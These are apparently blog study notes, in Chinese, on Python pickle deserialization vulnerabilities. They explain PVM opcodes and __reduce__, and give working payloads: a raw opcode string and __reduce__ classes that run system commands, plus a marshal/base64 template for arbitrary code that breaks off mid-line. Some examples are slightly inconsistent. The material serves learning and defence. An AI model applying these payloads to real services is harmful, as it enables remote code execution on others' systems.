Python 反序列化漏洞學習筆記
阿新 • • 發佈:2020-12-10
## 參考文章
[一篇文章帶你理解漏洞之 Python 反序列化漏洞](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/)
[Python Pickle/CPickle 反序列化漏洞](https://www.guildhab.top/?p=2178)
[Python反序列化安全問題](https://segmentfault.com/a/1190000013099825)
[pickle反序列化初探](https://xz.aliyun.com/t/7436#toc-11)
## 前言
**上面看完,請忽略下面的內容**
Python 中有很多能進行序列化的模組,比如 [Json、pickle/cPickle、Shelve](https://www.cnblogs.com/gcgc/p/10973418.html)、[Marshal](https://docs.python.org/zh-tw/3/library/marshal.html)
一般 [pickle](https://docs.python.org/zh-cn/3/library/pickle.html) 模組較常使用
在 pickle 模組中 , 常用以下四個方法
* `pickle.dump(obj, file)` : 將物件序列化後儲存到檔案
* `pickle.load(file)` : 讀取檔案, 將檔案中的序列化內容反序列化為物件
* `pickle.dumps(obj)` : 將物件序列化成字串格式的位元組流
* `pickle.loads(bytes_obj)` : 將字串格式的位元組流反序列化為物件
注意:file檔案需要以 2 進位制方式開啟,如 `wb`、`rb`
### 序列化
1. 從物件提取所有屬性,並將屬性轉化為鍵值對
2. 寫入物件的類名
3. 寫入鍵值對
看到下面這個序列化例子
![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130132820552-710434203.png)
py3 序列化後結果為:
```
b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'
```
py2 序列化後結果為:
```
(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.
```
這麼一大串字元代表什麼意思呢?可以簡單的與 PHP 反序列化結果做類比 ----> 特定的字元開頭幫助直譯器指明特定的操作或內容
實際上這是一串 [PVM 操作碼](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#2-PVM-%E7%9A%84%E7%BB%84%E6%88%90)
以 py2 執行得到的序列化結果 其中某些行的開頭的字元具有特殊含義
| 符號 | 含義 | 形式 | 例子 |
| ---- | ---- | ---- | ---- |
| `c` | 匯入模組及其具體物件 | c[module]\n[instance]\n | cos\nsystem\n |
| `(` | 左括號 | | |
| `t` | 相當於`)`,與`(`組合構成一個元組 | | |
| `R` | 表示反序列化時依據 __reduce__ 中的方式完成反序列化,會避免報錯 | 這在反序列化漏洞中很重要 | 很重要 |
| `S` | 代表一個字串 | S'string'\n | |
| `p` | 後面接一個數字,代表第n塊堆疊 | | p0、p1 |
| `.` | 表示結束 | . | |
例如:
```
cos\nsystem\n(S'whoami'\ntR.
```
### 反序列化
1. 獲取 pickle 輸入流,也就是上面說的 PVM 碼
2. 重建屬性列表
3. 根據類名建立一個新的物件
4. 將屬性複製到新的物件中
反序列化時,將字串(pickle 流)轉換為物件
![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130142441849-1250018164.png)
與 [PHP 序列化](https://www.cnblogs.com/wjrblogs/p/12800358.html)相似,Python 序列化也是將物件轉換成具有特定格式的**字串(py2)或位元組流(py3)**,以便於傳輸與儲存,比如 `session`
但是在反序列化時又與 PHP 反序列化又有所不同:
* PHP 反序列化要求原始碼中必須存在有問題的類,要求是被反序列化的物件中存在可控引數,具體可看[這裡](https://www.cnblogs.com/wjrblogs/p/12800358.html)
* 而 Python 反序列化不需要,其只要求被反序列化的字元可控即可造成 RCE,例如:
```python
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串
pickle.loads(s) # 反序列化後即可造成命令執行,因此網站對要被反序列化的字串應該做嚴格限制
```
在 Python 中,一切皆物件,因此能使用 pickle 序列化的資料型別有[很多](https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled)
* None、True 和 False
* 整數、浮點數、複數
* str、byte、bytearray
* 只包含可封存物件的集合,包括 tuple、list、set 和 dict
* 定義在模組最外層的函式(使用 def 定義,lambda 函式則不可以)
* 定義在模組最外層的內建函式
* 定義在模組最外層的類
* 某些類例項,這些類的 `__dict__` 屬性值或 `__getstate__()` 函式的返回值可以被封存
其中檔案、套接字、以及程式碼物件不能被序列化!
## Why
Python 反序列化漏洞跟 `__reduce__() ` 魔術方法相關
其類似於 PHP 物件中的 `__wakeup()` 方法,會在反序列化時自動呼叫
`__reduce__() ` 魔術方法可以返回一個字串或者時一個元組。其中返回元組時,第一個引數為`一個可呼叫物件`,第二個引數為`該物件所需要的引數`
![](https://img2020.cnblogs.com/blog/1893076/202011/1893076-20201130145601075-941257211.png)
## When
關鍵問題就在 `__reduce__` 方法第二種返回方式---元組。在反序列化時自動呼叫 `__reduce__()` 方法,該方法會自動呼叫返回值中的函式模組並執行
例如下面存的程式碼:
```python
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 執行該語句進行反序列化,自動執行 __reduce__ 方法,並且執行 os.system('ipconfig')
```
![](https://img2020.cnblogs.com/blog/1893076/202012/1893076-20201208173153972-87198731.jpg)
注意點:**元類無法在反序列化時呼叫 `__reduce__` 魔術方法**,簡單理解就是沒有繼承 `object` 的類
```
class A():
pass # 反序列化時不會呼叫 __reduce__ 方法
class B(object):
pass # 反序列化時會呼叫 __reduce__ 方法
```
由於 Python 反序列化時只需要被反序列化的字串可控(而不需要原始碼中存在有安全問題的類)便可造成 RCE
因此我們可以通過如下程式碼輕鬆構造 Payload:
```python
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
print(b)
```
## 特性
1. 看到如下兩種不同的序列化結果:
* 一
```
import pickle
import os
class Rce(object):
name = "1ndex"
a = Rce()
print(pickle.dumps(a))
```
結果:
```
ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
```
* 二
```
import pickle
import os
class Rce(object):
name = "1ndex"
def __reduce__(self):
return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))
```
結果:
```
cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.
```
然後用下面這個程式碼執行反序列化:
```
import pickle
str = "填寫上面序列化後的結果"
pickle.loads(str)
```
一 對應的結果反序列化:
```
AttributeError: 'module' object has no attribute 'Rce' # 報錯
```
二 對應的結果反序列化成功
一般來說反序列化時如果原始碼中沒有對應的類 `Rce`,是會直接報錯的(也就是上面一的結果),但是為什麼在反序列化二的時候卻能成功呢?原始碼中明明也沒有這個 `Rce` 的類啊
> 當序列化以及反序列化的過程中碰到一無所知的擴充套件型別/類的時候,可以通過類中定義的 `__reduce__` 方法來告知如何進行序列化或者反序列化
也就是說我們,只要在類中定義一個 __reduce__ 方法,我們就能在反序列化時,讓這個類根據我們在__reduce__ 中指定的方式進行序列化(也就會執行 return 中的惡意程式碼)
這應該就是大佬說的相似:
> Python 除了能反序列化當前程式碼中出現的類(包括通過 import的方式引入的模組中的類)的物件以外,還能利用其徹底的面向物件的特性來反序列化使用 types 建立的匿名物件,這樣的話就大大拓寬了我們的攻擊面。
2. 反序列化執行 __reduce__ 魔術方法,在 return 時,回自動匯入原始碼中沒有引入的模組,例如:
```
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 將被反序列化的字串
pickle.loads(s) # 實際上會執行 os.system('whoami'),但是可以看到原始碼中並未匯入 os 模組
```
## Solution
* 嚴格控制要被反序列化的字串
## 利用
### 執行命令
```
import pickle
import os
class Rce(object):
def __reduce__(self):
return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))
```
### 執行任意 Python 程式碼
```
import marshal
import base64
def code():
# 這裡放任意想執行的 Python 程式碼
pass
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_co